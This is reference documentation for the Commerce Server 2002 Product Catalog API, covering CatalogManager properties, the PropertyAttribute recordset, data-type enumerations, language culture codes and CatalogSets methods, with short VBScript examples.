The ProductDefinitions property is a read-only Recordset object that contains the names of all the product definitions in the Product Catalog System.

Definition

[C++]
HRESULT ICatalogManager3::get_ProductDefinitions(
  _Recordset** ProductDefinitions
);
[Visual Basic]
Property ProductDefinitions() As _Recordset

Parameters

ProductDefinitions [C++]
[out, retval] A pointer to a _Recordset object used to return the product definitions.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ProductDefinitions parameter contains valid data only if the property was accessed successfully.

[Visual Basic] The Recordset object contains valid data only if the property was accessed successfully.

The returned recordset will contain a single field called DefinitionName and one row for each product definition in the Product Catalog System. This field is a 128 character String.

If no product definitions are currently in the Product Catalog System, then the EOF property of the returned recordset will be set to VARIANT_TRUE.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::CreateProductDefinition

[Visual Basic] CatalogManager.CreateProductDefinition

[C++] ICatalogManager3::DeleteDefinition

[Visual Basic] CatalogManager.DeleteDefinition


ICatalogManager3::get_Properties Property [C++]

CatalogManager.Properties Property [Visual Basic]

The Properties property is a read-only recordset that returns the name of each property that currently exists in the Product Catalog System. If the catalog name is specified, only properties used in that catalog are returned.

Definition

[C++]
HRESULT ICatalogManager3::Properties(
  VARIANT strCatalogName,
  _Recordset** ppRSProperties
);
[Visual Basic]
Function Properties(
  Optional strCatalogName As Variant
) As _Recordset

Parameters

strCatalogName [C++]
[in, optional] A VARIANT that contains the name of the catalog for which the properties are returned. If this optional parameter is omitted, all properties are returned.
strCatalogName [Visual Basic]
A Variant that contains the name of the catalog for which the properties are returned. If this optional parameter is omitted, all properties are returned.
ppRSProperties [C++]
[out] A pointer to a _Recordset object used to return the properties.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B [Visual Basic] &H8898007 | The recordset pointer that you specified is invalid

Remarks

[C++] The Properties parameter contains valid data only if the property was accessed successfully.

[Visual Basic] The Recordset object contains valid data only if the property was accessed successfully.

[C++] This method returns a Recordset object containing a row for each property returned. For more information about the fields in this Recordset object, see PropertyAttribute Recordset.

[Visual Basic] This method returns a Recordset object containing a row for each property returned. For more information about the fields in this Recordset object, see PropertyAttribute Recordset.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set rsProps = myCatalogManager.Properties ("ShoesCatalog")

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::CreateProperty

[Visual Basic] CatalogManager.CreateProperty

[C++] ICatalogManager3::DeleteProperty

[Visual Basic] CatalogManager.DeleteProperty


PropertyAttribute Recordset [C++]

PropertyAttribute Recordset [Visual Basic]

The PropertyAttribute recordset reflects the default property definitions found in the CatalogAttributes table.

The following table shows the fields in the PropertyAttribute recordset.

Field name | Data type | Description
PropertyName | String | Indicates the unique identifying name of the property.
DataType | Small integer | Indicates the DataType of the property. Legal values and their meanings are those of the CatalogDataTypeEnum enumeration. See the following table.
u_DefaultValue | String | Indicates the default value for properties of String DataType.
u_DefaultValue_<lang> | String | Indicates the default value for properties of String DataType in a specific language. For example, DisplayName_EN-US is the display name for United States English. There will be one attribute in this form for each language in the Product Catalog schema.
i_DefaultValue | Integer | Indicates the default value for properties of Integer DataType.
dt_DefaultValue | datetime | Indicates the default value for properties of datetime DataType.
cy_DefaultValue | money | Indicates the default value for properties of money DataType.
f_DefaultValue | bit | Indicates the default value for properties of bit DataType.
fp_DefaultValue | float | Indicates the default value for properties of float DataType.
i_MinValue | Integer | Indicates the minimum value for properties of Integer DataType.
i_MaxValue | Integer | Indicates the maximum value for properties of Integer DataType.
dt_MinValue | datetime | Indicates the minimum value for properties of datetime DataType.
dt_MaxValue | datetime | Indicates the maximum value for properties of datetime DataType.
fp_MinValue | float | Indicates the minimum value for properties of float DataType.
fp_MaxValue | float | Indicates the maximum value for properties of float DataType.
IsFreeTextSearchable | bit | Indicates whether this property should be included in the full-text index, and therefore, be free text searchable. The values are 0 for False; 1 for True.
IncludeInSpecSearch | bit | Indicates whether this category is to be used for specification searches. True indicates this category will be included in the record set returned by calls to the ProductCatalog.GetSearchableCategories object. The values are 0 for False; 1 for True.
MinLength | Integer | Indicates the minimum length for properties of String DataType.
MaxLength | Integer | Indicates the maximum length for properties of String DataType.
cy_MinValue | money | Indicates the minimum value for properties of money DataType.
cy_MaxValue | money | Indicates the maximum value for properties of money DataType.
TimeStamp | timestamp | Not used.
DisplayOnSite | bit | Indicates whether this property should be shown to users visiting the Web site. The values are 0 for False; 1 for True.
DisplayName | String | Not used. See DisplayName_<lang> in this table
DisplayName_<lang> | String | Indicates the display name for the property in a specific language. For example, DisplayName_EN-US is the display name for United States English. There will be one attribute in this form for each language in the Product Catalog System.
AssignAll | bit | Indicates whether this property should automatically be assigned to product definitions as they are created through Commerce Server Business Desk. The values are 0 for False; 1 for True.
ExportToDW | bit | Indicates whether this property should be should be included in data exported to the Data Warehouse. The values are 0 for False; 1 for True.
DisplayInProductsList | bit | Indicates whether this property is to be displayed in summary lists of products in the Business Desk Catalog Editor, or in other areas where product lists are displayed. The values are 0 for False; 1 for True.
IsRequired | bit | Indicates whether a value is required for this property. The values are 0 for False; 1 for True.
LanguageSensitive | bit | Indicates whether this property is language sensitive. This attribute is only valid when the DataType attribute is cscString, cscText, cscFilename, or cscEnumeration. The values are 0 for False; 1 for True.
Currency | nvarchar(10) | Indicates the currency of the property as a three letter ISO 4217 currency code. For example "USD", "AUD", "CDN", "GBP", "DEM", "JPY". This attribute is only valid when the DataType attribute is cscCurrency (SQL data type money). The value is NULL for all other data types.

The following table shows the values of the CatalogDataTypeEnum enumeration, their associated names, and describes their use in the DataType attribute.

Name | Value | Description
cscInteger | 0 | Indicates an exact numeric value that holds whole numbers from –2[31] (-2,147,483,648) <= n <= 2[31] –1 (2,147,483,647).
cscBigInteger | 1 | Indicates an exact numeric value with precision 19 (if signed) or 20 (if unsigned), and scale 0 (signed: –2[63] <= n <= 2[63] – 1, unsigned: 0 <= n <= 2[64] – 1) [3], [9].
cscFloat | 2 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscDouble | 3 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscBoolean | 4 | Indicates a Boolean (bit), holds either a 1 or 0. Integer values other than 1 or 0 are accepted but are always interpreted as 1.
cscString | 5 | Indicates a variable-length character string with a maximum string length of 4000 characters.
cscDateTime | 6 | Indicates a Microsoft SQL Server DateTime data type.
cscCurrency | 7 | Indicates a Microsoft SQL Server money data type.
cscFilePath | 8 | Indicates a String that holds a file path.
cscEnumeration | 9 | Indicates an Integer associated with a defined constant.
cscText | 10 | Indicates a Microsoft SQL Server Text data type.
cscInvalid | -1 | Reserved for future use.

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::GetAttributes

[Visual Basic] CatalogManager.GetAttributes

[C++] ICatalogManager3::GetPropertyAttributes

[Visual Basic] CatalogManager.GetPropertyAttributes

[C++] ICatalogManager3::get_Properties

[Visual Basic] CatalogManager.Properties


Table of Language Culture Names, Codes, and ISO Values [C++]

Table of Language Culture Names, Codes, and ISO Values [Visual Basic]

The following table contains values for Language Culture Names, Display Names, Culture Codes, and ISO 639x Values that are used by Commerce Server.

Language Culture Name | Display Name | Culture Code | ISO 639x Value
af-ZA | Afrikaans - South Africa | 0x0436 | AFK
sq-AL | Albanian - Albania | 0x041C | SQI
ar-DZ | Arabic - Algeria | 0x1401 | ARG
ar-BH | Arabic - Bahrain | 0x3C01 | ARH
ar-EG | Arabic - Egypt | 0x0C01 | ARE
ar-IQ | Arabic - Iraq | 0x0801 | ARI
ar-JO | Arabic - Jordan | 0x2C01 | ARJ
ar-KW | Arabic - Kuwait | 0x3401 | ARK
ar-LB | Arabic - Lebanon | 0x3001 | ARB
ar-LY | Arabic - Libya | 0x1001 | ARL
ar-MA | Arabic - Morocco | 0x1801 | ARM
ar-OM | Arabic - Oman | 0x2001 | ARO
ar-QA | Arabic - Qatar | 0x4001 | ARQ
ar-SA | Arabic - Saudi Arabia | 0x0401 | ARA
ar-SY | Arabic - Syria | 0x2801 | ARS
ar-TN | Arabic - Tunisia | 0x1C01 | ART
ar-AE | Arabic - United Arab Emirates | 0x3801 | ARU
ar-YE | Arabic - Yemen | 0x2401 | ARY
hy-AM | Armenian - Armenia | 0x042B |
Cy-az-AZ | Azeri (Cyrillic) - Azerbaijan | 0x082C |
Lt-az-AZ | Azeri (Latin) - Azerbaijan | 0x042C |
eu-ES | Basque - Basque | 0x042D | EUQ
be-BY | Belarusian - Belarus | 0x0423 | BEL
bg-BG | Bulgarian - Bulgaria | 0x0402 | BGR
ca-ES | Catalan - Catalan | 0x0403 | CAT
zh-CN | Chinese - China | 0x0804 | CHS
zh-HK | Chinese - Hong Kong SAR | 0x0C04 | ZHH
zh-MO | Chinese - Macau SAR | 0x1404 |
zh-SG | Chinese - Singapore | 0x1004 | ZHI
zh-TW | Chinese - Taiwan | 0x0404 | CHT
zh-CHS | Chinese (Simplified) | 0x0004 |
zh-CHT | Chinese (Traditional) | 0x7C04 |
hr-HR | Croatian - Croatia | 0x041A | HRV
cs-CZ | Czech - Czech Republic | 0x0405 | CSY
da-DK | Danish - Denmark | 0x0406 | DAN
div-MV | Dhivehi - Maldives | 0x0465 |
nl-BE | Dutch - Belgium | 0x0813 | NLB
nl-NL | Dutch - The Netherlands | 0x0413 |
en-AU | English - Australia | 0x0C09 | ENA
en-BZ | English - Belize | 0x2809 | ENL
en-CA | English - Canada | 0x1009 | ENC
en-CB | English - Caribbean | 0x2409 |
en-IE | English - Ireland | 0x1809 | ENI
en-JM | English - Jamaica | 0x2009 | ENJ
en-NZ | English - New Zealand | 0x1409 | ENZ
en-PH | English - Philippines | 0x3409 |
en-ZA | English - South Africa | 0x1C09 | ENS
en-TT | English - Trinidad and Tobago | 0x2C09 | ENT
en-GB | English - United Kingdom | 0x0809 | ENG
en-US | English - United States | 0x0409 | ENU
en-ZW | English - Zimbabwe | 0x3009 |
et-EE | Estonian - Estonia | 0x0425 | ETI
fo-FO | Faroese - Faroe Islands | 0x0438 | FOS
fa-IR | Farsi - Iran | 0x0429 | FAR
fi-FI | Finnish - Finland | 0x040B | FIN
fr-BE | French - Belgium | 0x080C | FRB
fr-CA | French - Canada | 0x0C0C | FRC
fr-FR | French - France | 0x040C |
fr-LU | French - Luxembourg | 0x140C | FRL
fr-MC | French - Monaco | 0x180C |
fr-CH | French - Switzerland | 0x100C | FRS
gl-ES | Galician - Galician | 0x0456 |
ka-GE | Georgian - Georgia | 0x0437 |
de-AT | German - Austria | 0x0C07 | DEA
de-DE | German - Germany | 0x0407 |
de-LI | German - Liechtenstein | 0x1407 | DEC
de-LU | German - Luxembourg | 0x1007 | DEL
de-CH | German - Switzerland | 0x0807 | DES
el-GR | Greek - Greece | 0x0408 | ELL
gu-IN | Gujarati - India | 0x0447 |
he-IL | Hebrew - Israel | 0x040D | HEB
hi-IN | Hindi - India | 0x0439 | HIN
hu-HU | Hungarian - Hungary | 0x040E | HUN
is-IS | Icelandic - Iceland | 0x040F | ISL
id-ID | Indonesian - Indonesia | 0x0421 |
it-IT | Italian - Italy | 0x0410 |
it-CH | Italian - Switzerland | 0x0810 | ITS
ja-JP | Japanese - Japan | 0x0411 | JPN
kn-IN | Kannada - India | 0x044B |
kk-KZ | Kazakh - Kazakhstan | 0x043F |
kok-IN | Konkani - India | 0x0457 |
ko-KR | Korean - Korea | 0x0412 | KOR
ky-KZ | Kyrgyz - Kazakhstan | 0x0440 |
lv-LV | Latvian - Latvia | 0x0426 | LVI
lt-LT | Lithuanian - Lithuania | 0x0427 | LTH
mk-MK | Macedonian - FYROM | 0x042F | MKD
ms-BN | Malay - Brunei | 0x083E |
ms-MY | Malay - Malaysia | 0x043E |
mr-IN | Marathi - India | 0x044E |
mn-MN | Mongolian - Mongolia | 0x0450 |
nb-NO | Norwegian (Bokmål) - Norway | 0x0414 |
nn-NO | Norwegian (Nynorsk) - Norway | 0x0814 |
pl-PL | Polish - Poland | 0x0415 | PLK
pt-BR | Portuguese - Brazil | 0x0416 | PTB
pt-PT | Portuguese - Portugal | 0x0816 |
pa-IN | Punjabi - India | 0x0446 |
ro-RO | Romanian - Romania | 0x0418 | ROM
ru-RU | Russian - Russia | 0x0419 | RUS
sa-IN | Sanskrit - India | 0x044F |
Cy-sr-SP | Serbian (Cyrillic) - Serbia | 0x0C1A |
Lt-sr-SP | Serbian (Latin) - Serbia | 0x081A |
sk-SK | Slovak - Slovakia | 0x041B | SKY
sl-SI | Slovenian - Slovenia | 0x0424 | SLV
es-AR | Spanish - Argentina | 0x2C0A | ESS
es-BO | Spanish - Bolivia | 0x400A | ESB
es-CL | Spanish - Chile | 0x340A | ESL
es-CO | Spanish - Colombia | 0x240A | ESO
es-CR | Spanish - Costa Rica | 0x140A | ESC
es-DO | Spanish - Dominican Republic | 0x1C0A | ESD
es-EC | Spanish - Ecuador | 0x300A | ESF
es-SV | Spanish - El Salvador | 0x440A | ESE
es-GT | Spanish - Guatemala | 0x100A | ESG
es-HN | Spanish - Honduras | 0x480A | ESH
es-MX | Spanish - Mexico | 0x080A | ESM
es-NI | Spanish - Nicaragua | 0x4C0A | ESI
es-PA | Spanish - Panama | 0x180A | ESA
es-PY | Spanish - Paraguay | 0x3C0A | ESZ
es-PE | Spanish - Peru | 0x280A | ESR
es-PR | Spanish - Puerto Rico | 0x500A | ES
es-ES | Spanish - Spain | 0x0C0A |
es-UY | Spanish - Uruguay | 0x380A | ESY
es-VE | Spanish - Venezuela | 0x200A | ESV
sw-KE | Swahili - Kenya | 0x0441 |
sv-FI | Swedish - Finland | 0x081D | SVF
sv-SE | Swedish - Sweden | 0x041D |
syr-SY | Syriac - Syria | 0x045A |
ta-IN | Tamil - India | 0x0449 |
tt-RU | Tatar - Russia | 0x0444 |
te-IN | Telugu - India | 0x044A |
th-TH | Thai - Thailand | 0x041E | THA
tr-TR | Turkish - Turkey | 0x041F | TRK
uk-UA | Ukrainian - Ukraine | 0x0422 | UKR
ur-PK | Urdu - Pakistan | 0x0420 | URD
Cy-uz-UZ | Uzbek (Cyrillic) - Uzbekistan | 0x0843 |
Lt-uz-UZ | Uzbek (Latin) - Uzbekistan | 0x0443 |
vi-VN | Vietnamese - Vietnam | 0x042A | VIT


CatalogSets Object [C++]

CatalogSets Object [Visual Basic]

Use this object to work with catalog sets in the Product Catalog System. Catalog sets allow you to present different collections of catalogs to different users and organizations.

ProgID: | Commerce.CatalogSets (Externally creatable)
COM Class Name: | CatalogSets
Type Library Name: | Microsoft Commerce 2002 Catalog Sets Type Library
DLL Name: | CatalogSets.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _CatalogSets
Interface ID Constant: | None
Header File: | None
[C++]

In C++, use the _CatalogSets interface to access the properties and methods of the CatalogSets object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Remove a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.
[Visual Basic]
Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Remove a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.


_CatalogSets Methods [C++]

CatalogSets Methods [Visual Basic]

Methods

[C++]
Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Remove a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.
[Visual Basic]
Method | Description
CreateCatalogSet | Creates a new catalog set.
DeleteCatalogSet | Deletes the specified catalog set.
GetCatalogs | Returns a list of all catalogs.
GetCatalogSetIDForUser | Returns the catalog set ID for a user.
GetCatalogSetInfo | Returns information about the specified catalog set.
GetCatalogSets | Returns a list of all catalog sets.
GetCatalogsForUser | Returns a list of catalogs associated with the specified user.
GetCatalogsInCatalogSet | Returns a list of catalogs associated with the specified catalog set.
GetCatalogsNotInCatalogSet | Returns a list of all catalogs not associated with the specified catalog set.
Initialize | Initializes the CatalogSets object.
RemoveCatalogFromCatalogSets | Remove a catalog from all catalog sets.
UpdateCatalogSet | Allows modification of an existing catalog set.


_CatalogSets::CreateCatalogSet Method [C++]

CatalogSets.CreateCatalogSet Method [Visual Basic]

Use this method to create a new catalog set in the catalog database.

Definition

[C++]
HRESULT _CatalogSets::CreateCatalogSet(
  BSTR CatalogSetName,
  BSTR CatalogSetDescription,
  VARIANT_BOOL bWildCard,
  _Recordset* CatalogNamesRS,
  BSTR* CatalogSetID
);
[Visual Basic]
Function CreateCatalogSet(
  CatalogSetName As String,
  CatalogSetDescription As String,
  bWildCard As Boolean,
  Optional CatalogNamesRS As _Recordset
) As String

Parameters

CatalogSetName [C++]
[in] A BSTR that contains a name for the new catalog set. The maximum length is 128 characters.
CatalogSetName [Visual Basic]
A String that contains a name for the new catalog set. The maximum length is 128 characters.
CatalogSetDescription [C++]
[in] A BSTR that contains a description of the new catalog set.
CatalogSetDescription [Visual Basic]
A String that contains a description of the new catalog set.
bWildCard [C++]
[in] A VARIANT_BOOL that indicates whether this catalog set should automatically include all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.
bWildCard [Visual Basic]
A Boolean that indicates whether this catalog set should automatically include all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.
CatalogNamesRS [C++]
[in, optional] A pointer to an ActiveX Data Objects (ADO) _Recordset object that specifies the catalogs to be included in the new catalog set. The _Recordset object should contain a single column named CatalogName, and one row per catalog to be included. If the bWildCard parameter is True, then this parameter will be ignored.
CatalogNamesRS [Visual Basic]
A reference to an ADO Recordset object that specifies the catalogs to be included in the new catalog set. The Recordset object should contain a single column named CatalogName, and one row per catalog to be included. If the bWildCard parameter is True, then this parameter will be ignored.
CatalogSetID [C++]
[out, retval] A pointer to a BSTR used to return the automatically generated ID (GUID) of the new catalog set.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the ID of the new catalog set.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The CatalogSetID parameter contains valid data only if the new catalog set was created successfully.

[Visual Basic] The returned String contains a valid ID only if the new catalog set was created successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'The following example shows the creation of a catalog set
'associated with all the catalogs in the catalog management system.
strCatalogSetID = myCatalogSets.CreateCatalogSet("PremiumCatalogs", "Premium catalog set", TRUE)

'The following example shows the creation of a catalog set
'associated with two specific catalogs.
set rsCatalogNames = CreateObject("ADODB Recordset")
call rsCatalogNames.Fields.Append("CatalogName", adBSTR)
rsCatalogNames.Open
rsCatalogNames.AddNew
rsCatalogNames.Fields("CatalogName").value = "Catalog1"
rsCatalogNames.Update
rsCatalogNames.AddNew
rsCatalogNames.Fields("CatalogName").value = "Catalog2"
rsCatalogNames.Update

strCatalogSetID = myCatalogSets.CreateCatalogSet("CombinedCatalog", "A one and a two", FALSE, rsCatalogNames)

See Also

[C++] CatalogSets Object

[Visual Basic] CatalogSets Object


_CatalogSets::DeleteCatalogSet Method [C++]

CatalogSets.DeleteCatalogSet Method [Visual Basic]

Use this method to delete an existing catalog set from the Catalog database.

Definition

[C++]
HRESULT _CatalogSets::DeleteCatalogSet(
  BSTR CatalogSetID
);
[Visual Basic]
Sub DeleteCatalogSet(
  CatalogSetID As String
)

Parameters

CatalogSetID [C++]
[in] A BSTR that contains the GUID of the catalog set to be deleted.
CatalogSetID [Visual Basic]
A String that contains the ID of the catalog set to be deleted.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Deleting a catalog set does not delete the catalog set ID. Referencing an invalid catalog set ID will prevent access to the solution sites.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'strCatalogSetID1 is a GUID
myCatalogSets.DeleteCatalogSet strCatalogSetID1

See Also

[C++] CatalogSets Object

[Visual Basic] CatalogSets Object


_CatalogSets::GetCatalogs Method [C++]

CatalogSets.GetCatalogs Method [Visual Basic]

Use this method to return a list of all catalogs.

Definition

[C++]
HRESULT _CatalogSets::GetCatalogs(
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogs() As Recordset

Parameters

retVal [C++]
[out, retval] A pointer to hold the reference to the returned _Recordset object, which will contain the retVal parameter.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the list of all catalogs

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The retVal parameter contains valid data only if the method completes successfully.

[Visual Basic] The Recordset object returned by this method contains valid data only if the method completes successfully.

The Recordset object returned by this method has a single 128 character field, named CatalogName.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

set rsMyCatalogs = myCatalogSets.GetCatalogs()

See Also

[C++] CatalogSets Object

[Visual Basic] CatalogSets Object


_CatalogSets::GetCatalogSetIDForUser Method [C++]

CatalogSets.GetCatalogSetIDForUser Method [Visual Basic]

Use this method to return the catalog set ID for a specific user.

Definition

[C++]
HRESULT _CatalogSets::GetCatalogSetIDForUser(
  IDispatch* objProfileService,
  BSTR user_id,
  BSTR defaultCatalogSetID,
  VARIANT* retVal
);
[Visual Basic]
Function GetCatalogSetIDForUser(
  objProfileService As IDispatch,
  user_id As String,
  defaultCatalogSetID As String
) As Variant

Parameters

objProfileService [C++]
[in] A pointer to the IDispatch interface to the ProfileService object.
objProfileService [Visual Basic]
A ProfileService object.
user_id [C++]
[in] A BSTR that contains the user ID.
user_id [Visual Basic]
A String that contains the user ID.
defaultCatalogSetID [C++]
[in] A BSTR that contains the default catalog set ID.
defaultCatalogSetID [Visual Basic]
A String that contains the default catalog set ID.
retVal [C++]
[out, retval] A pointer to a VARIANT used to return the catalog set ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the catalog set ID.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The retVal parameter contains valid data only if the method completes successfully.

[Visual Basic] The Variant returned by this method contains valid data only if the method completes successfully.

If the user defined in the objProfileService parameter has a catalog set associated with it, this method returns that ID; if not, it returns the catalog set associated with the user organization. If this catalog set does not exist, it returns the value supplied in the defaultCatalogSetID parameter.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

strCatalogSetID = myCatalogSets.GetCatalogSetIDForUser(oProfileService, user_id, defaultCatalogSetID)

See Also

[C++] CatalogSets Object

[C++] ProfileService Object

[Visual Basic] CatalogSets Object

[Visual Basic] ProfileService Object


_CatalogSets::GetCatalogSetInfo Method [C++]

CatalogSets.GetCatalogSetInfo Method [Visual Basic]

Use this method to return the basic properties for a catalog set.

Definition

[C++]
HRESULT _CatalogSets::GetCatalogSetInfo(
  BSTR CatalogSetID,
  _Recordset** retVal
);
[Visual Basic]
Function GetCatalogSetInfo(
  CatalogSetID As String
) As Recordset

Parameters

CatalogSetID [C++]
[in] A BSTR that contains the catalog set ID, a GUID.
CatalogSetID [Visual Basic]
A String that contains the catalog set ID, a GUID.
retVal [C++]
[out, retval] A pointer to hold the reference to the returned _Recordset object, which will contain the retVal parameter.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The retVal parameter contains valid data only if the method completes successfully.

[Visual Basic] The Recordset object returned by this method contains valid data only if the method completes successfully.

This method returns a forward-only Recordset object with a single row and the following fields:

Field | Type | Description
CatalogSetID | GUID | None
CatalogSetName | String, maximum of 255 characters | None
CatalogSetDescription | String, maximum of 255 characters | None
bWildCard | Integer | A Boolean that indicates whether this catalog set automatically includes all catalogs, including any new catalogs that might be created in the future. A value of True indicates that this catalog set includes all existing catalogs. A value of False indicates that this catalog set only includes a specific set of catalogs.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'
set rsMyCatalogSetInfo = myCatalogSets.GetCatalogSetInfo(strCatalogSetID)

See Also

